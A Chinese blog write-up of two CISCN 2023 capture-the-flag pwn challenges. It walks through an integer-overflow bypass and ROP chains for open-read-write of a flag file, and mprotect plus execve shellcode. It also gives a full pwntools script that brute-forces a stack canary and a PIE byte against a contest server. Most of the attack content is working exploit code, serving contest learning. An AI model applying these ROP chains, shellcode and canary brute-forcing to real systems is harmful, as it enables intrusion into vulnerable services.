2023CISCN PWN部分WP

烧烤摊(整数溢出+ROP+ORW)

看起来像菜单,但是不是堆题:

1跟2是啤酒和串,用来减去金额的,3是看还剩多少钱,4是买下摊子,关键函数在gaiming里面,有个判断条件own。

发现在4里面,如果买下摊子,own就能为1:

如何让金额达到10000?

看一下pijiu函数:

扣钱采用很粗暴的直接乘一个-10,那如果输入购买的啤酒是个负数,就能加钱

只要输入是个很大的负数就能爆很多米,然后就能顺利买下摊子,进入gaiming函数:

gaiming函数有很明显的栈溢出,这道题用checksec时候发现有canary,但是经过测试其实是没有的,看汇编代码也知道并没有:

gaiming函数先scanf一个值给v5,v5是栈变量,然后把v5的值赋给name,name是个data段上的变量

由于题目没有后门函数,又是静态编译,所以有三种利用方式:

1.mprotect+shellcode

2.ORW

3.ret2syscall

先展示一下第二种方法ORW:

ORW的思路是,先把flag路径写入,后面可以传给name,然后open传参name的地址,打开flag文件,read也把读出来的内容写到name地址,最后write从name地址写出来flag

open64(b”./flag”,0) 0 表示只读

read(3,name_addr,0x100) 3是文件描述符,name_addr是写入地址,0x100是写入多少

write(1,name_addr,0x100) 1是文件描述符,name_addr是读写地址,0x100是读写多少(输出到屏幕)

# open(b'./flag\x00\x00', 0)

ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0) +p64(elf.sym["open64"])

# read(3, name_addr, 0x50)

ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x100) + p64(0) + p64(elf.sym["read"])

# write(1, name_addr, 0x50)

ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x100) + p64(0) + p64(elf.sym["write"])

只要保证rsi rdi rdx是规定值就行,可以有多余寄存器,给他们随便赋什么值都可以,只要记得赋值维持栈平衡就行

另一种思路:

虽然有NX,但是想到是静态编译,通常都会有mprotect,用mprotect修改某段为可执行,然后写入shellcode跳转就行

mprotect调用:

payload1=cyclic(0x28)+p64(pop_rdi_addr)+p64(0x4E6000)+p64(pop_rsi_addr)+p64(0x3000)+p64(pop_rdx_rbx_addr)+p64(0x7)+p64(0)+p64(elf.sym["mprotect"])+p64(ret_addr)+p64(elf.sym["main"])

io.sendline(payload1)

调用完后再返回main函数,这时候写入shellcode并跳转到name_addr执行

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'.ljust(0x28, b'a') +p64(name_addr)
io.sendline(payload)

这里有几个坑点:

1.shellcode一定要找对,我一开始找的21字节shellcode用不了,又找了个23字节的可以用,所以有时候拿不到shell不是因为exp写不对,而是找的shellcode不对

2.mprotect函数指定的修改地址必须是一个内存页的起始地址,而且大小必须是内存页整数倍,一页是4k,也就是0x1000,所以修改地址必须保证后三位为0,大小必须是n*0x1000,而最后跳转到执行shellcode的位置并不是修改内存页的起始位置(低级错误)

3.记得添加ret保持栈平衡

其实还有更简单的一条龙:

前面填充直接填shellcode,后面返回不用返回到main,直接回到shellcode执行就行

rop=p64(pop_rdi_addr)+p64(0x4E6000)+p64(pop_rsi_addr)+p64(0x3000)+p64(pop_rdx_rbx_addr)+p64(0x7)+p64(0)+p64(elf.sym[“mprotect”])+p64(ret_addr)+p64(name_addr)

payload = b’\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05′.ljust(0x28, b’a’)

payload += rop

io.sendline(payload)

第三种方法:

ret2syscall

具体不细说了,比较常规

funcanary:

main函数用while 1死循环重复调用了fork()函数创建子进程,一看就是要爆破canary

正常退出(也就是通过canary检测)就会进入else分支,执行函数sub_128A,这里是溢出点:

同时本题还给了后门函数:

所以思路就是,爆破canary,溢出到后门函数执行,由于本题还开了PIE,所以PIE还得爆破一下,由于后三位不变,而后门函数与返回地址最极端就只是最后四位有差别,所以实际上爆破的只有倒数第四位。

exp:

from pwn import *

context.log_level = 'info'

#io = process('/home/monke/PWN/funcanary')

io = remote('49.232.142.230', 13574)

elf = ELF('/home/monke/PWN/funcanary')

io.recvuntil(b'welcome\n')

canary = b'\x00'  

for k in range(7):       

    for i in range(256):

        payload = b'a' * 0x68 + canary + bytes([i])  

        io.send(payload)

        data = io.recvuntil('welcome\n')

        print(data)

        if b"fun" in data:

            canary += bytes([i])

            print("canary is:" + str(canary))

            break

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')

buf=io.recvuntil(b'welcome\n')

print(buf)

io.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇